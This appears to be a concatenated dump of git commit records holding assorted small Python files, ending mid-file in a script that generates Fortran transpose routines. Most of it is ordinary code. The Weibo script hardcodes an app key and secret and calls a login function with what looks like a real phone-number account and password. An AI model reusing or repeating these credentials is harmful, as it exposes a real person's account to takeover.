Create __init__.py
cmd/__init__.py
cmd/__init__.py
__version__ = '0.0.0'
Python
0.000429
2acb5d6da30c9b25eb05ca7a0da77bdaa45499a5
Create cod_variable.py
cod_variable.py
cod_variable.py
def encode_single_vb(n): byts = [] while True: byts.append(n % 128) if n < 128: break n //= 128 byts = byts[::-1] byts[-1] += 128 return [bin(n)[2:] for n in byts] def encode_vb(numbers): bytestream = [] for n in numbers: bytestream.extend(encode_single_vb(n)) return bytestream
Python
0.000085
c6a928255c2a64b6f14d5b5ddda7b16d93302c5f
Create boatrace.py
boatrace.py
boatrace.py
""" spaceshooter.py Author: will laycock Credit: me Assignment: Write and submit a program that implements the spacewar game: https://github.com/HHS-IntroProgramming/Spacewar """ from ggame import App, RectangleAsset, ImageAsset, Sprite, LineStyle, Color, Frame from math import sin, cos SCREEN_WIDTH = 640 SCREEN_HEIGHT = 480 class BigExplosion(Sprite): asset = ImageAsset("images/explosion2.png", Frame(0,0,4800/25,195), 25) def __init__(self, position): super().__init__(BigExplosion.asset, position) self.image = 0 self.center = (0.5, 0.5) def step(self): self.setImage(self.image//2) self.image = self.image + 1 if self.image == 50: self.destroy() class Stars(Sprite): asset = ImageAsset("images/starfield.jpg") width = 512 height = 512 def __init__(self, position): super().__init__(Stars.asset, position) class Sun(Sprite): asset = ImageAsset("images/sun.png") width = 80 height = 76 def __init__(self, position): super().__init__(Sun.asset, position) self.mass = 30*1000 self.fxcenter = 0.5 self.fycenter = 0.5 self.circularCollisionModel() class SpaceShip(Sprite): asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png", Frame(227,0,292-227,125), 4, 'vertical') def __init__(self, position): super().__init__(SpaceShip.asset, position) self.vx = 1 self.vy = 1 self.vr = 0 self.v = 0 self.thrust = 0 self.thrustframe = 1 self.initposition = position SpaceGame.listenKeyEvent("keydown", "space", self.thrustOn) SpaceGame.listenKeyEvent("keyup", "space", self.thrustOff) SpaceGame.listenKeyEvent("keydown", "left arrow", self.turnleft) SpaceGame.listenKeyEvent("keyup", "left arrow", self.turnoff) SpaceGame.listenKeyEvent("keydown", "right arrow", self.turnright) SpaceGame.listenKeyEvent("keyup", "right arrow", self.turnoff) self.fxcenter = self.fycenter = 0.5 def step(self): vx = -sin(self.rotation) * self.v vy = -cos(self.rotation) * self.v self.x += vx self.y += vy ki=self.collidingWithSprites(Sun) self.rotation += self.vr if self.x > myapp.width: self.x = 0 if self.x < 0: self.x = myapp.width if self.y > myapp.height: self.y = 0 if self.y < 0: self.y = myapp.height if len(ki) > 0: BigExplosion((self.x,self.y)) self.visible=False self.x = 300 self.y = 200 self.v=0 self.rotation=0 self.thrust=0 self.visible=True if self.thrust == 0 and self.v >= 0.1: self.v -= 0.1 if self.thrust == 1 and self.v == 0: self.v = 1 if self.thrust == 1: self.setImage(self.thrustframe) self.thrustframe += 1 if self.thrustframe == 4: self.thrustframe = 1 if self.v < 12: self.v *= 1.1 else: self.setImage(0) def thrustOn(self, event): self.thrust = 1 def thrustOff(self, event): self.thrust = 0 def turnleft(self, event): self.vr = 0.1 def turnoff(self, event): self.vr = 0 def turnright(self, event): self.vr = -0.1 def registerKeys(self, keys): commands = ["left", "right", "forward", "fire"] self.keymap = dict(zip(keys, commands)) [self.app.listenKeyEvent("keydown", k, self.controldown) for k in keys] [self.app.listenKeyEvent("keyup", k, self.controlup) for k in keys] def controldown(self, event): if command == "forward": self.thrust = 40.0 self.imagex = 1 # start the animated rockets self.setImage(self.imagex) def controlup(self, event): command = self.keymap[event.key] if command == "forward": self.thrust = 0.0 self.imagex = 0 # stop the animated rockets self.setImage(self.imagex) class SpaceGame(App): def __init__(self, width, height): super().__init__() stars = Stars((0,0)) stars.scale = self.width/stars.width self.ss = SpaceShip((300,200)) Sun((self.width/2,self.height/2)) def step(self): for ship in self.getSpritesbyClass(SpaceShip): ship.step() for exp in self.getSpritesbyClass(BigExplosion): exp.step() myapp = SpaceGame(SCREEN_WIDTH, SCREEN_HEIGHT) myapp.run()
Python
0.000003
624c133ba1afdb904e31742ac5f00a76859ab5b7
Write some docs for the response object
buffer/response.py
buffer/response.py
class ResponseObject(dict): ''' Simple data structure that convert any dict to an empty object where all the atributes are the keys of the dict, but also preserve a dict behavior e.g: obj = ResponseObject({'a':'b'}) obj.key = 'value' obj.a => 'b' obj => {'a': 'b', 'key': 'value'} ''' def __init__(self, *args, **kwargs): super(ResponseObject, self).__init__(*args, **kwargs) self.__dict__ = self._check_for_inception(self) def _check_for_inception(self, root_dict): ''' Used to check if there is a dict in a dict ''' for key in root_dict: if type(root_dict[key]) == dict: root_dict[key] = ResponseObject(root_dict[key]) return root_dict def set_for(self, cls): cls.__dict__ = self.__dict__
class ResponseObject(dict): def __init__(self, *args, **kwargs): super(ResponseObject, self).__init__(*args, **kwargs) self.__dict__ = self._check_for_inception(self) def _check_for_inception(self, root_dict): for key in root_dict: if type(root_dict[key]) == dict: root_dict[key] = ResponseObject(root_dict[key]) return root_dict def set_for(self, cls): cls.__dict__ = self.__dict__
Python
0.000018
d22242bda1a15cf59e395177c44b6d2701a5e246
add code to replicate issue #376
tests_on_large_datasets/redd_house3_f1_score.py
tests_on_large_datasets/redd_house3_f1_score.py
from __future__ import print_function, division from nilmtk import DataSet, HDFDataStore from nilmtk.disaggregate import fhmm_exact from nilmtk.metrics import f1_score from os.path import join import matplotlib.pyplot as plt """ This file replicates issue #376 (which should now be fixed) https://github.com/nilmtk/nilmtk/issues/376 """ data_dir = '/data/REDD' building_number = 3 disag_filename = join(data_dir, 'disag-fhmm' + str(building_number) + '.h5') data = DataSet(join(data_dir, 'redd.h5')) print("Loading building " + str(building_number)) elec = data.buildings[building_number].elec top_train_elec = elec.submeters().select_top_k(k=5) fhmm = fhmm_exact.FHMM() fhmm.train(top_train_elec) output = HDFDataStore(disag_filename, 'w') fhmm.disaggregate(elec.mains(), output) output.close() ### f1score fhmm disag = DataSet(disag_filename) disag_elec = disag.buildings[building_number].elec f1 = f1_score(disag_elec, elec) f1.index = disag_elec.get_labels(f1.index) f1.plot(kind='barh') plt.ylabel('appliance'); plt.xlabel('f-score'); plt.title("FHMM"); plt.savefig(join(data_dir, 'f1-fhmm' + str(building_number) + '.png')) disag.store.close() #### print("Finishing building " + str(building_number))
Python
0
80bf877306a78a63cf7752975f980a2d435f7d5e
Add standard services and lazy service wrapper
polyaxon/libs/services.py
polyaxon/libs/services.py
import inspect import itertools import logging from django.utils.functional import empty, LazyObject from libs.imports import import_string logger = logging.getLogger(__name__) class InvalidService(Exception): pass class Service(object): __all__ = () def validate(self): """Validate the settings for this backend (i.e. such as proper connection info). Raise ``InvalidService`` if there is a configuration error. """ def setup(self): """Initialize this service.""" class LazyServiceWrapper(LazyObject): """Lazyily instantiates a Polyaxon standard service class. >>> LazyServiceWrapper(BaseClass, 'path.to.import.Backend', {}) Provides an ``expose`` method for dumping public APIs to a context, such as module locals: >>> service = LazyServiceWrapper(...) >>> service.expose(locals()) """ def __init__(self, backend_base, backend_path, options): super(LazyServiceWrapper, self).__init__() self.__dict__.update( { 'backend_base': backend_base, '_backend_path': backend_path, '_options': options, } ) def __getattr__(self, name): if self._wrapped is empty: self._setup() return getattr(self._wrapped, name) def _setup(self): backend = import_string(self._backend_path) assert issubclass(backend, Service) instance = backend(**self._options) self._wrapped = instance def expose(self, context): base = self.backend_base for key in itertools.chain(base.__all__, ('validate', 'setup')): if inspect.ismethod(getattr(base, key)): context[key] = (lambda f: lambda *a, **k: getattr(self, f)(*a, **k))(key) else: context[key] = getattr(base, key)
Python
0
e204dd02b44066b28d09c0143cdeec557ff420fd
add a module for effects that can be applied to waveforms
potty_oh/effects.py
potty_oh/effects.py
# Copyright 2016 Curtis Sand # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """effects.py: a library of effects to apply to waveforms.""" from matplotlib import pyplot from .waveform import Waveform def normalize(waveform): if isinstance(waveform, Waveform): wavedata = waveform.frames else: wavedata = waveform peak = max(wavedata) wavedata *= 1.0 / peak return wavedata
Python
0
b9a8d24048a5c5b83a996f9fb1b2b07857a56db0
unwind the changes to tracker main
heron/tracker/src/python/main.py
heron/tracker/src/python/main.py
import os import sys import tornado.httpserver import tornado.ioloop import tornado.web from tornado.escape import json_encode, utf8 from tornado.options import define, options from heron.tracker.src.python import handlers from heron.tracker.src.python import log from heron.tracker.src.python.log import Log as LOG from heron.tracker.src.python.tracker import Tracker define("stateconf", default='zkstateconf', help="Yaml config file without extension for state locations") define("port", default=8888, type=int, help="HTTP port to run the Tracker") class Application(tornado.web.Application): def __init__(self): tracker = Tracker() self.tracker = tracker tracker.synch_topologies(options.stateconf) tornadoHandlers = [ (r"/", handlers.MainHandler), (r"/topologies", handlers.TopologiesHandler, {"tracker":tracker}), (r"/topologies/states", handlers.StatesHandler, {"tracker":tracker}), (r"/topologies/info", handlers.TopologyHandler, {"tracker":tracker}), (r"/topologies/logicalplan", handlers.LogicalPlanHandler, {"tracker":tracker}), (r"/topologies/physicalplan", handlers.PhysicalPlanHandler, {"tracker":tracker}), (r"/topologies/executionstate", handlers.ExecutionStateHandler, {"tracker":tracker}), (r"/topologies/metrics", handlers.MetricsHandler, {"tracker":tracker}), (r"/topologies/metricstimeline", handlers.MetricsTimelineHandler, {"tracker":tracker}), (r"/topologies/metricsquery", handlers.MetricsQueryHandler, {"tracker":tracker}), (r"/topologies/exceptions", handlers.ExceptionHandler, {"tracker":tracker}), (r"/topologies/exceptionsummary", handlers.ExceptionSummaryHandler, {"tracker":tracker}), (r"/machines", handlers.MachinesHandler, {"tracker":tracker}), (r"/topologies/pid", handlers.PidHandler, {"tracker":tracker}), (r"/topologies/jstack", handlers.JstackHandler, {"tracker":tracker}), (r"/topologies/jmap", handlers.JmapHandler, {"tracker":tracker}), (r"/topologies/histo", handlers.MemoryHistogramHandler, {"tracker":tracker}), (r"(.*)", handlers.DefaultHandler), ] settings = dict( static_path=os.path.dirname(__file__) ) tornado.web.Application.__init__(self, tornadoHandlers, **settings) def main(): log.configure(log.logging.DEBUG) options.parse_command_line() port = options.port LOG.info("Running on port: " + str(port)) http_server = tornado.httpserver.HTTPServer(Application()) http_server.listen(port) tornado.ioloop.IOLoop.instance().start() if __name__ == "__main__": main()
import os import sys import tornado.httpserver import tornado.ioloop import tornado.web from tornado.escape import json_encode, utf8 from tornado.options import define, options from heron.tracker.src.python import handlers from heron.tracker.src.python import log from heron.tracker.src.python.log import Log as LOG from heron.tracker.src.python.tracker import Tracker define("stateconf", default='filestateconf', help="Yaml config file without extension for state locations") define("port", default=8888, type=int, help="HTTP port to run the Tracker") class Application(tornado.web.Application): def __init__(self): tracker = Tracker() self.tracker = tracker tracker.synch_topologies(options.stateconf) tornadoHandlers = [ (r"/", handlers.MainHandler), (r"/topologies", handlers.TopologiesHandler, {"tracker":tracker}), (r"/topologies/states", handlers.StatesHandler, {"tracker":tracker}), (r"/topologies/info", handlers.TopologyHandler, {"tracker":tracker}), (r"/topologies/logicalplan", handlers.LogicalPlanHandler, {"tracker":tracker}), (r"/topologies/physicalplan", handlers.PhysicalPlanHandler, {"tracker":tracker}), (r"/topologies/executionstate", handlers.ExecutionStateHandler, {"tracker":tracker}), (r"/topologies/metrics", handlers.MetricsHandler, {"tracker":tracker}), (r"/topologies/metricstimeline", handlers.MetricsTimelineHandler, {"tracker":tracker}), (r"/topologies/metricsquery", handlers.MetricsQueryHandler, {"tracker":tracker}), (r"/topologies/exceptions", handlers.ExceptionHandler, {"tracker":tracker}), (r"/topologies/exceptionsummary", handlers.ExceptionSummaryHandler, {"tracker":tracker}), (r"/machines", handlers.MachinesHandler, {"tracker":tracker}), (r"/topologies/pid", handlers.PidHandler, {"tracker":tracker}), (r"/topologies/jstack", handlers.JstackHandler, {"tracker":tracker}), (r"/topologies/jmap", handlers.JmapHandler, {"tracker":tracker}), (r"/topologies/histo", handlers.MemoryHistogramHandler, {"tracker":tracker}), (r"(.*)", handlers.DefaultHandler), ] settings = dict( static_path=os.path.dirname(__file__) ) tornado.web.Application.__init__(self, tornadoHandlers, **settings) def main(): log.configure(log.logging.DEBUG) options.parse_command_line() port = options.port LOG.info("Running on port: " + str(port)) http_server = tornado.httpserver.HTTPServer(Application()) http_server.listen(port) tornado.ioloop.IOLoop.instance().start() if __name__ == "__main__": main()
Python
0.000001
3a6d41d8123b27ca5b22f7d7630e40faef3595c1
Add a top-level script that replaces the top-level makefile.
examples/run.py
examples/run.py
#!/usr/bin/python # # Copyright 2010, The Native Client SDK Authors. All Rights Reserved. # Use of this source code is governed by a BSD-style license that can # be found in the LICENSE file. # """Build and run the SDK examples. This script tries to find an installed version of the Chrome Browser that can run the SDK examples. If such a version is installed, it builds the publish versions of each example, then launches a local http server. It then runs the installed verison of the Chrome Browser, open to the URL of the requested example. Options: --chrome-path=<abs_path> Absolute path to the Chrome Browser used to run the examples. --example=<example> Run |example|. Possible values are: hello_world, pi_generator and tumbler. """ import getopt import os import subprocess import sys import urllib help_message = ''' --chrome-path=<abs_path> Absolute path to the Chrome Browser used to run the examples. --example=<example> Runs the selected example. Possible values are: hello_world, pi_generator, tumbler. ''' DEFAULT_CHROME_INSTALL_PATH_MAP = { 'win32': r'c:\AppData\Local\Chromium\Application', 'cygwin': r'c:\cygwin\bin', 'linux': '/opt/google/chrome', 'linux2': '/opt/google/chrome', 'darwin': '/Applications' } CHROME_EXECUTABLE_MAP = { 'win32': 'chrome.exe', 'cygwin': 'chrome.exe', 'linux': 'chrome', 'linux2': 'chrome', 'darwin': 'Chromium.app/Contents/MacOS/Chromium' } PLATFORM_COLLAPSE = { 'win32': 'win32', 'cygwin': 'win32', 'linux': 'linux', 'linux2': 'linux', 'darwin': 'mac', } SERVER_PORT = 5103 class Usage(Exception): def __init__(self, msg): self.msg = msg # Look for a Google Chrome executable in the given install path. If # |chrome_install_path| is |None|, then the platform-specific install path is # used. Returns the 2-tuple whose elements are: # the actual install path used (which might be the default) # the full path to the executable # If Google Chrome can't be found, then the 2-tuple returned is: # the actual install path searched # None def FindChrome(chrome_install_path=None): if chrome_install_path is None: # Use the platform-specific default path for Chrome. chrome_install_path = DEFAULT_CHROME_INSTALL_PATH_MAP[sys.platform] chrome_exec = CHROME_EXECUTABLE_MAP[sys.platform] full_chrome_path = os.path.join(chrome_install_path, chrome_exec) if os.path.exists(full_chrome_path): return chrome_install_path, full_chrome_path return chrome_install_path, None # Checks to see if there is a simple HTTP server running on |SERVER_PORT|. Do # this by attempting to open a URL socket on localhost:|SERVER_PORT|. def IsHTTPServerRunning(): is_running = False try: url = urllib.urlopen('http://localhost:%d' % SERVER_PORT) is_running = True except IOError: is_running = False return is_running def main(argv=None): if argv is None: argv = sys.argv chrome_install_path = os.environ.get('CHROME_INSTALL_PATH', None) example = 'hello_world' try: try: opts, args = getopt.getopt(argv[1:], 'ho:p:v', ['help', 'example=', 'chrome-path=']) except getopt.error, msg: raise Usage(msg) # option processing for option, value in opts: if option == '-v': verbose = True if option in ('-h', '--help'): raise Usage(help_message) if option in ('-e', '--example'): example = value if option in ('-p', '--chrome-path'): chrome_install_path = value except Usage, err: print >> sys.stderr, sys.argv[0].split('/')[-1] + ': ' + str(err.msg) print >> sys.stderr, '--help Print this help message.' return 2 # Look for an installed version of the Chrome Browser. The default path # is platform-dependent, and can be set with the --chrome-path= option. chrome_install_path, chrome_exec = FindChrome(chrome_install_path) if chrome_exec is None: print >> sys.stderr, 'Can\'t find Google Chrome in path \"%s\"' % \ chrome_install_path return 2 print 'Using Google Chrome found at: ', chrome_exec env = os.environ.copy() if sys.platform == 'win32': env['PATH'] = r'c:\cygwin\bin;' + env['PATH'] # Build the examples. make = subprocess.Popen('make publish', env=env, shell=True) make_err = make.communicate()[1] # Run the local http server, if it isn't already running. if not IsHTTPServerRunning(): home_dir = os.path.realpath(os.curdir) subprocess.Popen('python ./httpd.py', cwd=home_dir, shell=True) else: print 'localhost HTTP server is running.' # Launch Google Chrome with the desired example. example_url = 'http://localhost:%(server_port)s/publish/' \ '%(platform)s_%(target)s/%(example)s.html' subprocess.Popen(chrome_exec + ' --enable-nacl ' + example_url % ({'server_port':SERVER_PORT, 'platform':PLATFORM_COLLAPSE[sys.platform], 'target':'x86', 'example':example}), env=env, shell=True) if __name__ == '__main__': sys.exit(main())
Python
0.000154
451e8f3ea4765051088ea1c84f81e32691591d89
Create __init__.py
core/__init__.py
core/__init__.py
#!/usr/bin/env python
Python
0.000429
65aa1424f7ea8e184180d93e790b1ece6705775d
fix missing coma
addons/purchase_requisition/__openerp__.py
addons/purchase_requisition/__openerp__.py
############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { 'name': 'Purchase Requisitions', 'version': '0.1', 'author': 'OpenERP SA', 'category': 'Purchase Management', 'images': ['images/purchase_requisitions.jpeg'], 'website': 'http://www.openerp.com', 'description': """ This module allows you to manage your Purchase Requisition. =========================================================== When a purchase order is created, you now have the opportunity to save the related requisition. This new object will regroup and will allow you to easily keep track and order all your purchase orders. """, 'depends' : ['purchase'], 'js': [ 'static/src/js/web_addons.js', ], 'demo': ['purchase_requisition_demo.xml'], 'data': ['security/purchase_tender.xml', 'wizard/purchase_requisition_partner_view.xml', 'wizard/bid_line_qty_view.xml', 'purchase_requisition_data.xml', 'purchase_requisition_view.xml', 'purchase_requisition_report.xml', 'purchase_requisition_workflow.xml', 'security/ir.model.access.csv','purchase_requisition_sequence.xml', 'views/report_purchaserequisition.xml', ], 'auto_install': False, 'test': [ 'test/purchase_requisition_users.yml', 'test/purchase_requisition_demo.yml', 'test/cancel_purchase_requisition.yml', 'test/purchase_requisition.yml', ], 'installable': True, } # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { 'name': 'Purchase Requisitions', 'version': '0.1', 'author': 'OpenERP SA', 'category': 'Purchase Management', 'images': ['images/purchase_requisitions.jpeg'], 'website': 'http://www.openerp.com', 'description': """ This module allows you to manage your Purchase Requisition. =========================================================== When a purchase order is created, you now have the opportunity to save the related requisition. This new object will regroup and will allow you to easily keep track and order all your purchase orders. """, 'depends' : ['purchase'], 'js': [ 'static/src/js/web_addons.js', ], 'demo': ['purchase_requisition_demo.xml'], 'data': ['security/purchase_tender.xml', 'wizard/purchase_requisition_partner_view.xml', 'wizard/bid_line_qty_view.xml', 'purchase_requisition_data.xml', 'purchase_requisition_view.xml', 'purchase_requisition_report.xml', 'purchase_requisition_workflow.xml', 'security/ir.model.access.csv','purchase_requisition_sequence.xml' 'views/report_purchaserequisition.xml', ], 'auto_install': False, 'test': [ 'test/purchase_requisition_users.yml', 'test/purchase_requisition_demo.yml', 'test/cancel_purchase_requisition.yml', 'test/purchase_requisition.yml', ], 'installable': True, } # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
Python
0.000012
72738366fa074b457021faab0c21c3b89070b5ad
Add first revision of Nautilus extension.
nautilus/wizbit-extension.py
nautilus/wizbit-extension.py
from urlparse import urlparse from os.path import exists, split, isdir import nautilus from lxml import etree WIZ_CONTROLLED = "wiz-controlled" WIZ_CONFLICT = "wiz-conflict" YES = "Yes" NO = "No" class WizbitExtension(nautilus.ColumnProvider, nautilus.InfoProvider): def __init__(self): pass def get_columns(self): return [nautilus.Column("NautilusWizbit::is_controlled", WIZ_CONTROLLED, "Wizbit Controlled", "File may be syncronized by Wizbit"), nautilus.Column("NautilusWizbit::has_conflict", WIZ_CONFLICT, "Wizbit Conflict", "File may have multiple versions that need to be resolved")] def update_file_info(self, file): controlled = False conflict = False (scheme, netloc, path, params, query, fragment) = urlparse(file.get_uri()) if scheme != 'file': return wizpath = self.get_wizpath(path) if wizpath: if isdir(path): controlled = True else: try: repos = etree.parse (wizpath + "/.wizbit/repos") except IOError: pass else: #Find if file is controlled files = [f.text for f in repos.getroot().xpath("/wizbit/repo/file")] (path, filename) = split(path) if filename in files: controlled = True #Find if file is conflicting repel = repos.getroot().xpath("/wizbit/repo") for r in repel: if r.get("name") == filename + ".git": heads = [h for h in r if h.tag == "head"] if len(heads) > 1: conflict = True if controlled: file.add_emblem("cvs-controlled") file.add_string_attribute(WIZ_CONTROLLED, YES) else: file.add_string_attribute(WIZ_CONTROLLED, NO) if conflict: file.add_emblem("cvs-conflict") file.add_string_attribute(WIZ_CONFLICT, YES) else: file.add_string_attribute(WIZ_CONFLICT, NO) def get_wizpath(self, path): if exists(path + "/.wizbit/repos"): return path else: (head, tail) = split(path) if head != '/': return self.get_wizpath(head) else: if exists("/.wizbit/repos"): return head else: return ""
Python
0
2a9858381a78bd9ff9ff459a23f73630237e6669
send vm
weibo_data_input.py
weibo_data_input.py
__author__ = 'heipiao' # -*- coding: utf-8 -*- from weibo import APIClient import urllib2 import urllib #APP_KEY和APP_SECRET,需要新建一个微博应用才能得到 APP_KEY = '3722673574' APP_SECRET = '7a6de53498caf87e655a98fa2f8912bf' #管理中心---应用信息---高级信息,将"授权回调页"的值改成https://api.weibo.com/oauth2/default.html CALLBACK_URL = 'https://api.weibo.com/oauth2/default.html' AUTH_URL = 'https://api.weibo.com/oauth2/authorize' def GetCode(userid,passwd): client = APIClient(app_key = APP_KEY, app_secret=APP_SECRET, redirect_uri=CALLBACK_URL) referer_url = client.get_authorize_url() postdata = { "action": "login", "client_id": APP_KEY, "redirect_uri":CALLBACK_URL, "userId": userid, "passwd": passwd, } headers = { "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0", "Referer":referer_url, "Connection":"keep-alive" } req = urllib2.Request( url = AUTH_URL, data = urllib.urlencode(postdata), headers = headers ) resp = urllib2.urlopen(req) return resp.geturl()[-32:] if __name__ == "__main__": print GetCode("15029357121","liu8315")
Python
0
7b899fbcf7a661758ab2a9cdca7ade6c461c8e65
add c model
transiNXOR_modeling/caffe2_tensor_to_c_array.py
transiNXOR_modeling/caffe2_tensor_to_c_array.py
import sys sys.path.append('../') import caffe2_paths from caffe2.python import workspace from pinn import exporter from scipy.io import savemat import numpy as np import pickle model_name = 'bise_h216_0' init_net = exporter.load_init_net('./transiXOR_Models/'+model_name+'_init') print(type(init_net)) with open("c_model/c_arrays.txt","w") as f: for op in init_net.op: tensor = workspace.FetchBlob(op.output[0]) tensor_name = op.output[0].replace('/', '_') print(tensor_name) print(tensor.shape) tensor_str = np.array2string(tensor.flatten(), separator=',') tensor_str = tensor_str.replace("[", "{").replace("]", "}") str = 'float ' + tensor_name + '[] = ' + tensor_str + ';\n' f.write(str) ## Preprocess param with open("./transiXOR_Models/"+model_name+"_preproc_param.p", "rb") as f: preproc_dict = pickle.load(f) print(preproc_dict)
Python
0.000001
7be9e42f6c870004a5aa9b123b9f28c8f95f5b88
Add Parser to analyse the results of the network tester.
webrtc/tools/network_tester/parse_packet_log.py
webrtc/tools/network_tester/parse_packet_log.py
# Copyright (c) 2017 The WebRTC project authors. All Rights Reserved. # # Use of this source code is governed by a BSD-style license # that can be found in the LICENSE file in the root of the source # tree. An additional intellectual property rights grant can be found # in the file PATENTS. All contributing project authors may # be found in the AUTHORS file in the root of the source tree. # To run this script please copy "out/<build_name>/pyproto/webrtc/tools/ # network_tester/network_tester_packet_pb2.py" next to this script. # The you can run this script with: # "python parse_packet_log.py -f packet_log.dat" # for more information call: # "python parse_packet_log.py --help" from optparse import OptionParser import struct import matplotlib.pyplot as plt import network_tester_packet_pb2 def GetSize(file_to_parse): data = file_to_parse.read(1) if data == '': return 0 return struct.unpack('<b', data)[0] def ParsePacketLog(packet_log_file_to_parse): packets = [] with open(packet_log_file_to_parse, 'rb') as file_to_parse: while True: size = GetSize(file_to_parse) if size == 0: break try: packet = network_tester_packet_pb2.NetworkTesterPacket() packet.ParseFromString(file_to_parse.read(size)) packets.append(packet) except IOError: break return packets def GetTimeAxis(packets): first_arrival_time = packets[0].arrival_timestamp return [(packet.arrival_timestamp - first_arrival_time) / 1000000.0 for packet in packets] def CreateSendTimeDiffPlot(packets, plot): first_send_time_diff = ( packets[0].arrival_timestamp - packets[0].send_timestamp) y = [(packet.arrival_timestamp - packet.send_timestamp) - first_send_time_diff for packet in packets] plot.grid(True) plot.set_title("SendTime difference [us]") plot.plot(GetTimeAxis(packets), y) class MovingAverageBitrate(object): def __init__(self): self.packet_window = [] self.window_time = 1000000 self.bytes = 0 self.latest_packet_time = 0 self.send_interval = 0 def RemoveOldPackets(self): for packet in self.packet_window: if (self.latest_packet_time - packet.arrival_timestamp > self.window_time): self.bytes = self.bytes - packet.packet_size self.packet_window.remove(packet) def AddPacket(self, packet): """This functions returns bits / second""" self.send_interval = packet.arrival_timestamp - self.latest_packet_time self.latest_packet_time = packet.arrival_timestamp self.RemoveOldPackets() self.packet_window.append(packet) self.bytes = self.bytes + packet.packet_size return self.bytes * 8 def CreateReceiveBiratePlot(packets, plot): bitrate = MovingAverageBitrate() y = [bitrate.AddPacket(packet) for packet in packets] plot.grid(True) plot.set_title("Receive birate [bps]") plot.plot(GetTimeAxis(packets), y) def CreatePacketlossPlot(packets, plot): packets_look_up = {} first_sequence_number = packets[0].sequence_number last_sequence_number = packets[-1].sequence_number for packet in packets: packets_look_up[packet.sequence_number] = packet y = [] x = [] first_arrival_time = 0 last_arrival_time = 0 last_arrival_time_diff = 0 for sequence_number in range(first_sequence_number, last_sequence_number + 1): if sequence_number in packets_look_up: y.append(0) if first_arrival_time == 0: first_arrival_time = packets_look_up[sequence_number].arrival_timestamp x_time = (packets_look_up[sequence_number].arrival_timestamp - first_arrival_time) if last_arrival_time != 0: last_arrival_time_diff = x_time - last_arrival_time last_arrival_time = x_time x.append(x_time / 1000000.0) else: if last_arrival_time != 0 and last_arrival_time_diff != 0: x.append((last_arrival_time + last_arrival_time_diff) / 1000000.0) y.append(1) plot.grid(True) plot.set_title("Lost packets [0/1]") plot.plot(x, y) def main(): parser = OptionParser() parser.add_option("-f", "--packet_log_file", dest="packet_log_file", help="packet_log file to parse") options = parser.parse_args()[0] packets = ParsePacketLog(options.packet_log_file) f, plots = plt.subplots(3, sharex=True) plt.xlabel('time [sec]') CreateSendTimeDiffPlot(packets, plots[0]) CreateReceiveBiratePlot(packets, plots[1]) CreatePacketlossPlot(packets, plots[2]) f.subplots_adjust(hspace=0.3) plt.show() if __name__ == "__main__": main()
Python
0
e8b681e3de2a3e0c507410c0b854d1afd6bd3417
Adding triples transpose.
trunk/python/archive/generate_source_triples.py
trunk/python/archive/generate_source_triples.py
import fileinput import string import sys import os # BGP #fortran_compiler = '/bgsys/drivers/ppcfloor/comm/bin/mpixlf77_r' #fortran_opt_flags = '-O5 -qhot -qprefetch -qcache=auto -qalign=4k -qunroll=yes -qmaxmem=-1 -qalias=noaryovrlp:nopteovrlp -qnoextname -qnosmp -qreport=hotlist -c' #src_dir = '/gpfs/home/jhammond/spaghetty/python/archive/src/' #lst_dir = '/gpfs/home/jhammond/spaghetty/python/archive/lst/' fortran_compiler = 'ifort' fortran_opt_flags = '-O3 -mtune=core2 -msse3 -align -c' src_dir = '/home/jeff/code/spaghetty/trunk/python/archive/src/' def perm(l): sz = len(l) if sz <= 1: return [l] return [p[:i]+[l[0]]+p[i:] for i in xrange(sz) for p in perm(l[1:])] indices = ['1','2','3','4','5','6'] #all_permutations = perm(indices) #all_permutations = [indices] transpose_list = perm(indices) loop_list = perm(indices) for transpose_order in transpose_list: A = transpose_order[0] B = transpose_order[1] C = transpose_order[2] D = transpose_order[3] E = transpose_order[4] F = transpose_order[5] for loop_order in loop_list: a = loop_order[0] b = loop_order[1] c = loop_order[2] d = loop_order[3] e = loop_order[4] f = loop_order[5] subroutine_name = 'transpose_'+A+B+C+D+E+F+'_loop_'+a+b+c+d+e+f source_name = subroutine_name+'.F' #print source_name source_file = open(source_name,'w') source_file.write(' subroutine '+subroutine_name+'(unsorted,sorted,\n') source_file.write(' & dim1,dim2,dim3,dim4,dim5,dim6,factor)\n') source_file.write(' implicit none\n') source_file.write(' integer dim1,dim2,dim3,dim4,dim5,dim6\n') source_file.write(' integer old_offset,new_offset\n') source_file.write(' integer j1,j2,j3,j4,j5,j6\n') source_file.write(' double precision sorted(dim1*dim2*dim3*dim4*dim5*dim6)\n') source_file.write(' double precision unsorted(dim1*dim2*dim3*dim4*dim5*dim6)\n') source_file.write(' double precision factor\n') #source_file.write('cdir$ ivdep\n') source_file.write(' do j'+a+' = 1,dim'+a+'\n') source_file.write(' do j'+b+' = 1,dim'+b+'\n') 